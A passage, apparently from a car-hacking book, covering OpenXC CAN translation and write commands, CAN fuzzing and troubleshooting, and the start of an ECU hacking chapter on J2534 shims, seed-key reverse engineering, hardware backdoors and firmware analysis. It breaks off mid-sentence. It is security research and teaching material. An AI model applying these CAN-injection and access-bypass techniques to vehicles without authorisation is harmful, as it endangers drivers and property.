bus	is	OpenXC,	an	open	hardware	and	software	standard	that	translates
proprietary	CAN	protocols	into	an	easy-to-read	format.	The	OpenXC
initiative	was	spearheaded	by	the	Ford	Motor	Company—and	as	I	write	this,
OpenXC	is	supported	only	by	Ford—but	it	could	work	with	any	auto
manufacturer	that	supports	it.	(Visit	http://openxcplatform.com/	for
information	on	how	to	acquire	a	pre-made	dongle.)

Ideally,	open	standards	for	CAN	data	such	as	OpenXC	will	remove	the
need	for	many	applications	to	reverse	engineer	CAN	traffic.	If	the	rest	of	the
automotive	industry	were	to	agree	on	a	standard	that	defines	how	their
vehicles	work,	it	would	greatly	improve	a	car	owner’s	ability	to	tinker	and
build	on	new	innovative	tools.

Translating	CAN	Bus	Messages
If	a	vehicle	supports	OpenXC,	you	can	plug	a	vehicle	interface	(VI)	in	to	the
CAN	bus,	and	the	VI	should	translate	the	proprietary	CAN	messages	and

http://openxcplatform.com/


send	them	to	your	PC	so	you	can	read	the	supported	packets	without	having
to	reverse	them.	In	theory,	OpenXC	should	allow	access	to	any	CAN	packet
via	a	standard	API.	This	access	could	be	read-only	or	allow	you	to	transmit
packets.	If	more	auto	manufacturers	eventually	support	OpenXC,	it	could
provide	third-party	tools	with	more	raw	access	to	a	vehicle	than	they	would
have	with	standard	UDS	diagnostic	commands.

NOTE

OpenXC	supports	Python	and	Android	and	includes	tools	such	as	openxc-dump
to	display	CAN	activity.

The	fields	from	OpenXC’s	default	API	are	as	follows:

•	accelerator_pedal_position

•	brake_pedal_status

•	button_event	(typically	steering	wheel	buttons)

•	door_status

•	engine_speed

•	fuel_consumed_since_last_restart

•	fuel_level

•	headlamp_status

•	high_beam_status

•	ignition_status

•	latitude

•	longitude

•	odometer

•	parking_brake_status

•	steering_wheel_angle

•	torque_at_transmission

•	transmission_gear_position



•	vehicle_speed

•	windshield_wiper_status

Different	vehicles	may	support	different	signals	than	the	ones	listed	here
or	no	signals	at	all.

OpenXC	also	supports	JSON	trace	output	for	recording	vehicle	journey.
JSON	provides	a	common	data	format	that’s	easy	for	most	other	modern
languages	to	consume,	as	shown	in	Listing	5-4.

{"metadata":	{
"version":	"v3.0",
"vehicle_interface_id":	"7ABF",
"vehicle":	{
"make":	"Ford",
"model":	"Mustang",
"trim":	"V6	Premium",
"year":	2013
},
"description":	"highway	drive	to	work",
"driver_name":	"TJ	Giuli",
"vehicle_id":	"17N1039247929"
}

Listing	5-4:	Simple	JSON	file	output

Notice	how	the	metadata	definitions	in	JSON	make	it	fairly	easy	for	both
humans	and	a	programming	language	to	read	and	interpret.	The	above
JSON	listing	is	a	definition	file,	so	an	API	request	would	be	even	smaller.
For	example,	when	requesting	the	field	steering_wheel_angle,	the	translated
CAN	packets	would	look	like	this:

{"timestamp":	1385133351.285525,	"name":	"steering_wheel_angle",
"value":	45}

You	can	interface	with	the	OpenXC	with	OBD	like	this:

$	openxc-diag	–message-id	0x7df	–mode	0x3

Writing	to	the	CAN	Bus
If	you	want	to	write	back	to	the	bus,	you	might	be	able	to	use	something	like
the	following	line,	which	writes	the	steering	wheel	angle	back	to	the	vehicle,



but	you’ll	find	that	the	device	will	resend	only	a	few	messages	to	the	CAN
bus.

$	openxc-control	write	–name	steering_wheel_angle	–value	42.0

Technically,	OpenXC	supports	raw	CAN	writes,	too,	like	this:

$	openxc-control	write	–bus	1	–id	42	–data	0x1234

This	brings	us	back	from	translated	JSON	to	raw	CAN	hacking,	as
described	earlier	in	this	chapter.	However,	if	you	want	to	write	an	app	or
embedded	graphical	interface	to	only	read	and	react	to	your	vehicle	and	you
own	a	new	Ford,	then	this	may	be	the	quickest	route	to	those	goals.

Hacking	OpenXC
If	you’ve	done	the	work	to	reverse	the	CAN	signals,	you	can	even	make	your
own	VI	OpenXC	firmware.	Compiling	your	own	firmware	means	you	don’t
have	any	limitations,	so	you	can	read	and	write	whatever	you	want	and	even
create	“unsupported”	signals.	For	example,	you	could	create	a	signal	for
remote_engine_start	and	add	it	to	your	own	firmware	in	order	to	provide	a
simple	interface	to	start	your	car.	Hooray,	open	source!

Consider	a	signal	that	represents	engine_speed.	Listing	5-5	will	set	a	basic
configuration	to	output	the	engine_speed	signal.	We’ll	send	RPM	data	with	a
2-byte-long	message	ID	0x110	starting	at	the	second	byte.

{	"name"	:	"Test	Bench",
"buses":	{
"hs":	{
"controller":	1,
"speed":	500000
}
},
"messages":	{
"0x110":	{
"name":	"Acceleration",
"bus",	"hs",
"signals":	{
"engine_speed_signal":	{
"generic_name":	"engine_speed",
"bit_position":	8,
"bit_size":	16
}



}
}
}
}

Listing	5-5:	Simple	OpenXC	config	file	to	define	engine_speed

The	OpenXC	config	files	that	you	want	to	modify	are	stored	in	JSON.
First,	we	define	the	bus	by	creating	a	JSON	file	with	a	text	editor.	In	the
example,	we	create	a	JSON	config	for	a	signal	on	the	high-speed	bus
running	at	500Kbps.

Once	you	have	the	JSON	config	defined,	use	the	following	code	to
compile	it	into	a	CPP	file	that	can	be	compiled	into	the	firmware:

$	openxc-generate-firmware-code	–message-set	./test-bench.json	>
signals.cpp

Then,	recompile	the	VI	firmware	with	these	commands:

$	fab	reference	build

If	all	goes	well,	you	should	have	a	.bin	file	that	can	be	uploaded	to	your
OpenXC-compatible	device.	The	default	bus	is	set	up	in	raw	read/write
mode	that	sets	the	firmware	to	a	cautionary	read-only	mode	by	default,
unless	signals	or	a	whole	bus	is	set	up	to	support	writing.	To	set	those	up,
when	defining	the	bus,	you	can	add	raw_can_mode	or	raw_writable	and	set
them	to	true.

By	making	your	own	config	files	for	OpenXC,	you	can	bypass	the
restrictions	set	up	in	prereleased	firmware	and	support	other	vehicles	besides
Ford.	Ideally,	other	manufacturers	will	begin	to	support	OpenXC,	but
adoption	has	been	slow,	and	the	bus	restrictions	are	so	strict	you’ll	probably
want	to	use	custom	firmware	anyhow.

Fuzzing	the	CAN	Bus
Fuzzing	the	CAN	bus	can	be	a	good	way	to	find	undocumented	diagnostic
methods	or	functions.	Fuzzing	takes	a	random,	shotgun-like	approach	to
reversing.	When	fuzzing,	you	send	random-ish	data	to	an	input	and	look	for
unexpected	behavior,	which	in	the	case	of	a	vehicle	could	be	physical



changes,	such	as	IC	messages,	or	component	crashes,	such	as	shutdowns	or
reboots.

The	good	news	is	that	it’s	easy	to	make	a	CAN	fuzzer.	The	bad	news	is
that	it’s	rarely	useful.	Useful	packets	are	often	part	of	a	collection	of	packets
used	to	cause	a	particular	change,	such	as	a	diagnostic	service	that	is	active
only	after	a	successful	security	token	has	been	passed	to	it,	so	it’s	difficult	to
tell	which	packet	to	focus	on	when	fuzzing.	Also,	some	CAN	packets	are
visible	only	from	within	a	moving	vehicle,	which	would	be	very	dangerous.
Nevertheless,	don’t	rule	out	fuzzing	as	a	potential	method	of	attack	because
you	can	sometimes	use	it	to	locate	undocumented	services	or	crashes	to	a
target	component	you	want	to	spoof.

Some	sniffers	support	fuzzing	directly—a	feature	usually	found	in	the
transmission	section	and	represented	by	the	tool’s	ability	to	transmit	packets
with	incrementing	bytes	in	the	data	section.	For	example,	in	the	case	of
SocketCAN,	you	can	use	cangen	to	generate	random	CAN	traffic.	Several
other	open	source	CAN	sniffing	solutions	allow	for	easy	scripting	or
programming	with	languages	such	as	Python.

A	good	starting	point	for	fuzzing	is	to	look	at	the	UDS	commands,
specifically	the	“undocumented”	manufacturer	commands.	When	fuzzing
undocumented	UDS	modes,	we	typically	look	for	any	type	of	response	from
an	unknown	mode.	For	instance,	when	targeting	the	UDS	diagnostics	of	the
ECU,	you	might	send	random	data	to	ID	0x7DF	and	get	an	error	packet
from	an	unexpected	mode.	If	you	use	brute-forcing	tools	such	as
CaringCaribou,	however,	there	are	often	cleaner	ways	of	accomplishing	the
same	thing,	such	as	monitoring	or	reversing	the	diagnostic	tools	themselves.

Troubleshooting	When	Things	Go	Wrong
The	CAN	bus	and	its	components	are	fault-tolerant,	which	limits	the
damage	you	can	do	when	reversing	the	CAN	bus.	However,	if	you’re	fuzzing
the	CAN	bus	or	replaying	a	large	amount	of	CAN	data	back	on	a	live	CAN
bus	network,	things	can	go	wrong.	Here	are	a	few	common	problems	and
solutions.

Flashing	IC	Lights
It’s	common	for	the	IC	lights	to	flash	when	sending	packets	to	the	CAN
bus,	 and	 you	 can	 usually	 reset	 them	 by	 restarting	 the	 vehicle.	 If



restarting	 the	 vehicle	 still	 doesn’t	 fix	 the	 lights,	 try	 disconnecting	 and
reconnecting	the	battery.	If	that	still	doesn’t	fix	the	problem,	make	sure
that	your	battery	is	properly	charged	since	a	low	battery	can	also	make
the	IC	lights	flash.

Car	Not	Turning	On
If	your	car	shuts	off	and	won’t	turn	back	on,	it’s	usually	because	you’ve
drained	the	battery	by	working	with	the	CAN	bus	while	the	car	is	not
fully	 running.	 This	 can	 drain	 a	 battery	 much	 faster	 than	 you	 might
think.	To	restart	it,	jump	the	vehicle	with	a	spare	battery.

If	you’ve	tried	jumping	the	vehicle	and	it	still	won’t	turn	on,	you	may
need	to	pull	a	fuse	and	plug	it	back	in	to	restart	the	car.	Locate	the
engine	fuses	in	the	car’s	manual	and	begin	by	pulling	the	ones	you	most
suspect	are	the	culprits.	The	fuse	probably	isn’t	blown,	so	just	pull	it	out
and	put	it	back	in	to	force	the	problem	device	to	restart.	The	fuses	you
choose	to	pull	will	depend	on	your	type	of	vehicle,	but	if	your	engine
isn’t	starting,	you	will	want	to	locate	major	components	to	disconnect
and	check.	Look	for	main	fuses	around	major	electronics.	The	fuses	that
control	the	headlamps	probably	are	not	the	culprits.	Use	a	process	of
elimination	to	determine	the	device	that	is	causing	the	issue.

Car	Not	Turning	Off
You	might	find	that	you’re	unable	to	shut	the	car	down.	This	is	a	bad,
but	fortunately	rare,	situation.	First,	check	that	you	aren’t	flooding	the
CAN	bus	with	 traffic;	 if	 you	 are,	 stop	 and	 disconnect	 from	 the	CAN
bus.	If	you’re	already	disconnected	from	the	CAN	bus	and	your	car	still
won’t	turn	off,	you’ll	need	to	start	pulling	fuses	until	it	does.

Vehicle	Responding	Recklessly
This	 will	 only	 occur	 if	 you’re	 injecting	 packets	 in	 a	 moving	 vehicle,
which	 is	a	 terrible	 idea	and	should	never	be	done!	If	you	must	audit	a
vehicle	 while	 it’s	 wheels	 are	 moving,	 raise	 it	 off	 the	 ground	 or	 on
rollers.

Bricking
Reverse	engineering	the	CAN	bus	should	never	result	in	bricking—that
is,	breaking	the	vehicle	so	completely	that	it	can	do	nothing.	To	brick	a



vehicle,	 you	 would	 need	 to	 mess	 around	 with	 the	 firmware,	 which
would	put	the	vehicle	or	component	out	of	warranty	and	is	done	at	your
own	risk.

Summary
In	this	chapter,	you	learned	how	to	identify	CAN	wires	from	the	jumble	of
wires	under	the	dash,	and	how	to	use	tools	like	cansniffer	and	Kayak	to	sniff
traffic	and	identify	what	the	different	packets	were	doing.	You	also	learned
how	to	group	CAN	traffic	to	make	changes	easier	to	identify	than	they
would	be	when	using	more	traditional	packet-sniffing	tools,	such	as
Wireshark.

You	should	now	be	able	to	look	at	CAN	traffic	and	identify	changing
packets.	Once	you	identify	these	packets,	you	can	write	programs	to	transmit
them,	create	files	for	Kayak	to	define	them,	or	create	translators	for
OpenXC	to	make	it	easy	to	use	dongles	to	interact	with	your	vehicle.	You
now	have	all	the	tools	you	need	to	identify	and	control	the	components	of
your	vehicle	that	run	on	CAN.



6
ECU	HACKING

by	Dave	Blundell

A	vehicle	typically	has	as	many	as	a	dozen	or	more	electronic	controllers,
many	of	which	are	networked	to	communicate	with	each	other.	These
computerized	devices	go	by	many	different	names,	including	electronic	control
unit	or	engine	control	unit	(ECU),	transmission	control	unit	(TCU),	or
transmission	control	module	(TCM).

While	these	terms	may	have	specific	meanings	in	a	formal	setting,	similar
terms	are	often	used	interchangeably	in	practice.	What	may	be	a	TCU	to
one	manufacturer	is	a	TCM	to	another,	yet	both	electronic	controllers
perform	the	same	or	extremely	similar	functions.

Most	automotive	control	modules	have	measures	in	place	to	prevent	you
from	altering	their	code	and	operation;	these	range	from	very	strong	to
laughably	weak.	You	won’t	know	what	you’re	dealing	with	until	you
investigate	a	particular	system.	In	this	chapter,	we’ll	take	a	closer	look	at
particular	security	mechanisms,	but	first	we’ll	examine	strategies	for	gaining
access	to	these	systems.	Then	in	Chapter	8	we’ll	look	at	some	more	specific
ECU	hacks,	like	glitch	attacks	and	debugging.	The	attack	vectors	for	ECUs
fall	into	three	different	classes:



Front	door	attacks	Commandeering	the	access	mechanism	of	the
original	equipment	manufacturer	(OEM)

Backdoor	attacks	Applying	more	traditional	hardware-hacking
approaches

Exploits	Discovering	unintentional	access	mechanisms

We’ll	look	at	an	overview	of	these	attack	classes,	and	then	analyze	the
data	you	find.	It’s	worth	remembering	that	while	the	goal	for	ECU	and
other	control	module	hacking	is	often	the	same—to	gain	access	in	order	to
reprogram	and	change	behavior—it’s	unlikely	there’ll	be	a	“master	key”	for
all	controllers.	However,	OEMs	are	generally	not	very	creative	and	seldom
change	their	ways,	so	insight	into	one	controller	likely	applies	to	similar
models	from	the	same	manufacturer.	Also,	few	of	today’s	auto	manufacturers
develop	their	own	automotive	computers	from	scratch,	instead	licensing
prefabricated	solutions	from	third	parties	like	Denso,	Bosch,	Continental,
and	others.	Because	of	this	design	methodology,	it’s	relatively	common	to
see	vehicles	from	different	auto	manufacturers	using	very	similar	computer
systems	sourced	from	the	same	vendors.

Front	Door	Attacks
The	OBD-II	standard	mandates	that	you	be	able	to	reprogram	vehicles
through	the	OBD-II	connector,	and	reverse	engineering	the	original
method	for	programming	is	a	guaranteed	attack	vector.	We’ll	examine	J2534
and	KWP2000	as	examples	of	common	protocols	for	programming.

J2534:	The	Standardized	Vehicle	Communication	API
The	SAE	J2534-1	standard,	or	simply	J2534,	was	developed	to	promote
interoperability	among	digital	tool	vendors	through	the	use	of	the	J2534
API,	which	outlines	the	recommended	way	for	Microsoft	Windows	to
communicate	with	a	vehicle.	(You	can	purchase	the	J2534	API	from	the	SAE
at	http://standards.sae.org/j2534/1_200412/.)	Prior	to	the	adoption	of	the
J2534	standard,	each	software	vendor	created	its	own	proprietary	hardware
and	drivers	for	communicating	with	a	vehicle	in	order	to	perform
computerized	repairs.	Because	these	proprietary	tools	weren’t	always
available	to	smaller	shops,	the	EPA	mandated	the	adoption	of	the	J2534
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standard	in	2004	to	allow	independent	shops	access	to	the	same	specialized
computer	tools	used	by	dealerships.	J2534	introduced	a	series	of	DLLs	that
map	standard	API	calls	to	instructions	necessary	to	communicate	with	a
vehicle,	thereby	allowing	multiple	manufacturers	to	release	software
designed	to	work	with	J2534-compatible	hardware.

Using	J2534	Tools
J2534	tools	provide	a	convenient	way	to	observe	OEM	tools	interacting	with
vehicle	computers.	Manufacturers	often	leverage	J2534	to	update	computer
firmware	and	sometimes	to	provide	powerful	diagnostic	software.	By
observing	and	capturing	information	exchanged	with	a	vehicle	using	J2534,
you	can	see	how	OEMs	perform	certain	tasks,	which	may	provide	you	with
information	that	you	need	to	unlock	the	“front	door.”

When	using	J2534	tools	to	attack	vehicle	systems,	the	basic	idea	is	to
observe,	record,	analyze,	and	extend	functionality.	Of	course,	the	first	step	is
to	obtain	and	configure	a	J2534	application	and	its	corresponding	interface
hardware	in	order	to	perform	a	task	you	want	to	observe.	Once	you	have
your	setup,	the	next	step	is	to	observe	and	record	communications	with	the
target	while	using	the	J2534	tools	to	perform	an	action	on	the	target,	like
updating	a	configuration	parameter.

There	are	two	primary	ways	to	observe	J2534	transactions:	by	watching
J2534	API	calls	on	a	PC	using	J2534	shim	DLLs	or	by	watching	actual	bus
traffic	using	a	separate	sniffer	tool	to	capture	data.

J2534	tools	are	key	to	eavesdropping	on	the	protocols	built	into	the
factory	embedded	vehicle	systems,	and	they’re	one	of	the	primary	ways	to
attack	the	front	door.	Successful	analysis	of	this	communication	will	give	you
the	knowledge	you	need	to	access	vehicle	systems	the	way	the	OEMs	do.	It’ll
also	allow	you	to	write	applications	with	full	access	to	read	and	reprogram
systems,	which	will	in	turn	enable	you	to	communicate	directly	with	a
vehicle	without	having	to	use	the	J2534	interface	or	the	OEM’s	J2534
software.

J2534	Shim	DLLs
The	J2534	shim	is	a	software	J2534	interface	that	connects	to	a	physical
J2534	interface	and	then	passes	along	and	logs	all	commands	that	it	receives.



This	dummy	interface	is	a	kind	of	man-in-the-middle	attack	that	allows	you
to	record	all	API	calls	between	the	J2534	application	and	the	target.	You	can
then	examine	the	log	of	commands	to	determine	the	actual	data	exchanged
between	the	J2534	interface	and	the	device.

To	find	an	open	source	J2534	shim,	search	code.google.com	for	J2534-
logger.	You	should	also	be	able	to	find	precompiled	binaries.

J2534	with	a	Sniffer
You	can	also	use	J2534	to	generate	interesting	traffic	that	you	can	then
observe	and	record	with	a	third	party	sniffer.	There’s	no	magic	here:	this	is
just	an	excellent	example	of	how	to	generate	juicy	packets	that	might
otherwise	be	difficult	to	capture.	(See	Chapter	5	for	more	information	on
monitoring	network	traffic.)

KWP2000	and	Other	Earlier	Protocols
Before	J2534,	there	were	many	flash-programmable	ECUs	and	other	control
units,	such	as	the	Keyword	Protocol	2000	(KWP2000	or	ISO14230).	From
an	OSI	networking	perspective,	it’s	primarily	an	application	protocol.	It	can
be	used	on	top	of	CAN	or	ISO9141	as	the	physical	layer.	You’ll	find	a	huge
number	of	KWP2000	flasher	tools	that	interface	with	a	PC	using	a	serial/
USB-serial	interface	and	that	support	diagnostics	and	flashing	using	this
protocol	just	by	searching	online.	(For	more	on	the	Keyword	Protocol	2000,
see	Chapter	2.)

Capitalizing	on	Front	Door	Approaches:	Seed-Key
Algorithms
Now	that	we’ve	discussed	how	legitimate	tools	use	the	front	door,	it’s	time
to	capitalize	on	this	attack	vector	by	learning	how	to	operate	the	figurative
“lock	on	the	gate.”	To	do	this,	we	must	understand	the	algorithm	that	the
embedded	controller	uses	to	authenticate	valid	users;	this	is	almost	always	a
seed-key	algorithm.	Seed-key	algorithms	usually	generate	a	pseudorandom
seed	and	expect	a	particular	response,	or	key,	for	each	seed	before	allowing
access.	A	typical	valid	exchange	could	look	something	like	this:

ECU	seed:	01	C3	45	22	84
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Tool	key:	02	3C	54	22	48

or	this:

ECU	seed:	04	57
Tool	key:	05	58

Unfortunately,	there’s	no	standard	seed-key	algorithm.	You	might	have	a
16-bit	seed	and	16-bit	key,	a	32-bit	seed	and	16-bit	key,	or	a	32-bit	seed	and
32-bit	key.	The	algorithm	that	generates	a	key	from	a	given	seed	also	varies
from	platform	to	platform.	Most	algorithms	are	a	combination	of	simple
arithmetic	operations	and	one	or	more	values	used	as	part	of	the
computation.	There	are	several	techniques	for	figuring	out	these	algorithms
in	order	to	give	you	access	to	the	ECU:

•	Obtain	the	firmware	for	the	device	in	question	through	other	means.
Disassemble	it	and	analyze	the	embedded	code	to	find	the	code	responsible
for	generating	seed-key	pairs.

•	Obtain	a	legitimate	software	tool—for	example,	J2534	reflash	software—
that’s	capable	of	generating	legitimate	seed-key	pairs,	and	analyze	the	PC
application	code	with	a	disassembler	to	determine	the	algorithm	used.

•	Observe	a	legitimate	tool	exchanging	keys,	and	analyze	the	pairs	for
patterns.

•	Create	a	device	to	spoof	a	legitimate	tool	into	providing	responses
repeatedly.	The	main	advantage	of	this	method	over	purely	passive
observation	is	that	it	allows	you	to	pick	seeds	for	which	you	can	reproduce
the	keys.

You	can	find	more	information	about	reverse	engineering	the	seed-key
algorithms	used	by	General	Motors	at
http://pcmhacking.net/forums/viewtopic.php?f=4&t=1566&start=10,	and	those
used	by	VAG	MED9.1	at	http://nefariousmotorsports.com/forum/index.php?
topic=4983.0.

Backdoor	Attacks
Sometimes	front	door	attacks	are	too	tricky;	you	may	not	have	the	right
tools	or	the	lock	might	be	too	hard	to	figure	out.	Don’t	despair—remember
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that	automotive	control	modules	are	embedded	systems,	so	you	can	use	all
the	usual	hardware-hacking	approaches.	In	fact,	using	more	direct-to-
hardware	backdoor	approaches	often	makes	more	sense	than	trying	to
reverse	engineer	the	front	door	lock	placed	by	the	factory,	especially	when
trying	to	reprogram	engine	modules.	If	you	can	obtain	a	dump	of	the
module,	you	can	often	disassemble	and	analyze	it	to	figure	out	how	the	keys
to	the	front	door	work.	The	first	step	in	a	hardware	backdoor	attack	is
analyzing	the	circuit	board.

When	reversing	a	circuit	board	of	any	system,	you	should	start	with	the
largest	chips	first.	These	larger	processor	and	memory	chips	are	likely	to	be
the	most	complex.	It’s	a	good	idea	to	make	a	list	of	part	numbers	to	feed	to
Google,	datasheet.com,	or	something	similar,	to	obtain	a	copy	of	the	data
sheet.	You’ll	sometimes	encounter	custom	application-specific	integrated
circuits	(ASICs)	and	one-off	chips,	especially	with	older	ECUs,	which	will
prove	more	difficult	than	off-the-shelf	parts.	In	many	cases,	you’ll	have	to
infer	the	function	of	these	parts	based	on	how	they’re	connected	to
identifiable	parts.

It’s	critical	to	look	out	for	memory	chips—SRAM,	EEPROM,
FlashROM,	one-time-programmable	ROM,	serial	EEPROM,	serial	flash,
NVSRAM,	and	so	on.	The	type	of	memory	used	varies	immensely	from	one
platform	to	another;	every	single	variety	listed	here	has	been	found	in	the
wild.	Newer	designs	are	less	likely	to	have	parallel	memories	and	more	likely
to	have	serial	chips.	Newer	microcontrollers	are	less	likely	to	have	any
external	memories	at	all,	as	their	internal	flash	capacities	have	dramatically
increased.	Any	nonvolatile	memory	chip	present	can	be	removed	from	the
circuit	board,	read,	and	then	replaced.	Chapter	8	goes	into	much	more	detail
on	reverse	engineering	the	circuit	board.

Exploits
Although	arguably	just	another	example	of	a	backdoor	approach,	exploits
deserve	special	attention.	Rather	than	taking	apart	a	computer,	exploits
involve	feeding	a	system	carefully	crafted	inputs	to	make	it	do	things	outside
normal	operation.	Typically,	exploits	build	on	a	bug	or	problem.	This	bug
might	cause	a	system	to	crash,	reboot,	or	perform	some	undesirable	behavior
from	the	perspective	of	the	vehicle	user.	Some	of	these	bugs	present	the
opportunity	for	buffer	overflow	attacks,	which	open	the	door	for
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commandeering	the	vulnerable	device	merely	by	feeding	it	unexpected
inputs.	A	cleverly	crafted	set	of	inputs	triggers	the	bug,	which	then	makes
the	device	execute	arbitrary	code	provided	by	the	attacker	instead	of
triggering	the	usual	fault	condition.

Not	all	bugs	can	be	turned	into	exploits,	however—some	bugs	only	cause
problems	or	shut	down	core	systems.	And	while	bugs	are	usually	discovered
by	accident,	most	exploits	require	careful	craft.	It	is	unlikely	that	you’d	be
able	to	turn	a	known	bug	into	an	exploit	without	also	having	prior
knowledge	of	the	system,	usually	gained	from	firmware	analysis.	At	a	bare
minimum,	you’d	need	basic	knowledge	of	the	architecture	in	order	to	write
the	necessary	code.	Most	of	the	time,	this	knowledge	needs	to	be	gathered
through	research	prior	to	writing	an	exploit.

It’s	hard	to	find	bugs	that	make	suitable	attack	vectors	and	it’s	often	just
as	difficult	to	write	exploits	for	them,	so	exploits	that	build	on	bugs	are	fairly
uncommon.	While	it	is	foolish	to	discount	the	relevance	of	exploits,	the
other	methods	presented	here	and	in	Chapter	8	are	much	more	practical
paths	to	understanding	and	reprogramming	automotive	systems	in	most
cases.

Reversing	Automotive	Firmware
Hacking	into	an	automotive	control	module	far	enough	to	retrieve	its
current	firmware	and	configuration	is	really	just	the	beginning	of	the
adventure.	At	this	point,	you	probably	have	anywhere	from	4KB	to	4MB	of
raw	machine-ready	code,	with	a	mixture	of	various	parameters	and	actual
code	that	forms	the	program	the	processor	will	run.	Let’s	say	you	have	a
binary	blob	in	the	firmware	from	one	of	the	hacks	in	this	chapter	or	the
chapters	later	in	this	book.	Next	you	need	to	disassemble	the	binary.

First,	you	must	know	which	chip	this	binary	is	for.	There	are	several	free
decompilers	for	different	chips	out	on	the	Internet.	Otherwise	you	can	drop
some	cash	and	buy	IDA	Pro,	which	supports	a	large	variety	of	chips.	These
tools	will	convert	the	hex	values	in	the	binary	into	assembler	instructions.
The	next	stage	is	to	figure	out	what	exactly	you	are	looking	at.

When	you’re	starting	to	analyze	raw	data,	a	high-level	understanding	of
the	function	of	the	devices	you’re	reverse	engineering	will	be	key	to	knowing
what	to	look	for.	You	can	follow	a	number	of	breadcrumbs,	or	clues,	for



starters;	these	breadcrumbs	are	almost	guaranteed	to	lead	you	to	interesting
and	useful	material.	Next,	we’ll	look	at	a	few	specific	examples	of	how	to	use
common	automotive	controller	functions	to	gain	insight	into	their
operation,	which	will	hopefully	allow	us	to	change	their	behavior.

Self-Diagnostic	System
Every	engine	controller	has	some	type	of	self-diagnostic	system	that	typically
monitors	most	critical	engine	functions,	and	analyzing	this	is	an	excellent
route	to	understanding	firmware.	A	good	first	step	in	investigative
disassembly	is	to	identify	the	location	of	these	procedures.	This	will	provide
you	with	insight	into	the	memory	locations	involved	in	all	of	the	sensors	and
functions	that	are	checked	for	errors.	Any	modern	vehicle	should	support
OBD-II	packets,	which	standardize	the	diagnostic	data	reported.	Even
controllers	created	prior	to	OBD-II	standards	have	a	way	to	report	faults.
Some	have	a	system	where	an	analog	input	is	shorted	to	ground	and	either
an	internal	LED	or	the	“check	engine”	light	flashes	out	the	code.	For
example,	knowing	that	code	10	refers	to	a	failed	intake	air	temperature
sensor	means	you	can	find	the	piece	of	code	that	sets	error	code	10	to	help
you	identify	the	internal	variables	associated	with	the	air	temperature	sensor.

For	more	detailed	information	on	using	diagnostics,	see	Chapter	4.

Library	Procedures
Being	able	to	change	the	behavior	of	a	control	unit	is	often	one	of	the
primary	goals	of	reverse	engineering	ECU	firmware,	and	identifying	data
used	by	a	controller	is	an	important	step	in	the	process.	Most	ECUs	have	a
set	of	library	functions	used	for	routine	tasks	throughout	the	code.	Library
functions	used	for	table	lookups	are	worth	identifying	early	on	in	the	reverse
engineering	process,	as	these	can	lead	straight	to	the	parameters	you’re
interested	in.	Each	time	a	table	is	used,	a	function	is	called	to	fetch	a	result.
Calls	to	this	type	of	function	are	among	the	most	frequent,	making	them
easy	to	spot.

Usually	each	type	of	data	stored	within	the	ECU—one-dimensional	array
of	bytes;	two-dimensional	array	of	words;	three-dimensional	array	of
unsigned,	signed,	and	float	shorts;	and	so	on—has	a	unique	reference
function.	When	called,	each	table	lookup	routine	needs	to	be	passed,	at	a



minimum,	the	table	index	(or	start	address)	and	the	axis	variables.	Often,
table	lookup	routines	can	be	reused	to	pass	information	about	the	structure
of	the	table,	such	as	how	many	rows	and	columns	are	present.

Calibration	data	is	usually	stored	in	program	memory,	along	with	the
routines	accessing	them.	Microcontrollers	typically	have	special	instructions
to	access	program	memory,	which	provide	a	unique	signature	to	search	for
and	make	table	lookup	routines	particularly	easy	to	spot.	A	secondary
characteristic	of	these	lookup	routines	is	that	they	tend	to	have	lots	of
interpolation	math.	In	addition,	table	lookup	routines	are	often	grouped
closely	together	in	program	memory,	making	it	even	easier	to	find	others
after	you’ve	found	one.	After	identifying	reference	routines,	searching	for	all
calls	to	them	can	provide	a	key	to	identifying	the	vast	majority	of	data	used
by	the	controller	to	make	decisions.	The	arguments	passed	to	these
functions	typically	include	the	start	address	of	a	table,	its	structure	or	shape,
and	which	variables	index	elements	of	the	table.	Armed	with	this
information,	you’re	much	closer	to	being	able	to	change	the	behavior	of	the
controller.

Finding	Known	Tables
One	way	to	identify	tables	is	to	leverage	the	specific	physical	and	electrical
characteristics	of	vehicle	sensors,	which	will	display	identifiable
characteristics	within	ECU	firmware.	For	example,	an	ECU	with	a	MAF
sensor	will	have	a	table	that	translates	raw	readings	of	voltage	or	frequency
from	the	MAF	into	airflow	into	the	engine,	providing	an	internal
representation.

Fortunately	for	us,	the	signal	output	from	an	MAF	is	determined	by
physics—that	is,	King’s	Law—so	the	curve	will	always	have	a	characteristic
shape,	though	it’ll	be	slightly	different	for	each	sensor.	This	will	result	in	the
tables	having	a	characteristic	set	of	values	that	can	be	observed	in	the	ROM.
Armed	with	the	knowledge	that	there	will	be	universal	data	to	identify,	let’s
take	a	closer	look	at	how	calibration	data	is	displayed	in	different	programs.

Figures	6-1	and	6-2	show	similarly	shaped	Ford	and	Nissan	sensor	curves;
the	similarity	they	illustrate	extends	to	multiple	manufacturers.



Figure	6-1:	Ford	MAF	transfer	graph

Figure	6-2:	Nissan	MAF	VQ	graph



Figures	6-2	through	6-6	show	five	different	views	of	the	same	data.
Figure	6-3	shows	how	the	VQ	curve	pictured	in	Figure	6-2	would	look	in	a
hex	editor.

Figure	6-3:	VQ	table	in	HxD	hex	editor:	128	bytes	or	64-	to	16-bit	words

Figures	6-4	and	6-5	show	the	VQ	table	in	analyze.exe	available	from
https://github.com/blundar/analyze.exe/.	A	simple	visualization	tool,	analyze.exe
colors	cells	based	on	their	numeric	value.	You	can	select	the	precision	of	the
data—for	example,	1	=	8-bit	byte,	2	=	16-bit	word,	and	4	=	32-bit	long—and
how	many	rows	and	columns	you	want	present.	This	simple	visual
arrangement	often	makes	it	easier	to	identify	what	is	code	and	what	is	data
than	it	is	when	you’re	using	a	hex	editor,	as	in	Figure	6-3.

Figure	6-4:	VQ	table	in	analyze.exe:	values	from	48	to	65535	in	first	four
rows	of	16×16-bit	values

https://github.com/blundar/analyze.exe/


Figure	6-5:	First	four	rows	of	16x16-bit	values

Look	again	at	the	first	four	rows	of	16×16-bit	values	in	Figures	6-4	and	6-
5	shaded	in	analyze.exe.	Notice	how	the	smooth	nonlinear	curve	in	Figures
6-1	and	6-2	mimics	the	smooth	nonlinear	progression	of	values.	Figure	6-6
shows	the	same	values	in	a	64-column	layout,	so	you	can	see	the	full	gradient
of	the	first	four	rows	from	Figure	6-5.	No	matter	what	type	of	vehicle	you’re
looking	at,	the	overall	data	structures	will	be	similar.

Figure	6-6:	64-	to	16-bit	words	per	row

Data	visualization	tools	like	hex	editors	or	analyze.exe	can	also	be	useful
when	you	don’t	know	the	exact	shape	or	pattern	you	are	looking	for.	No
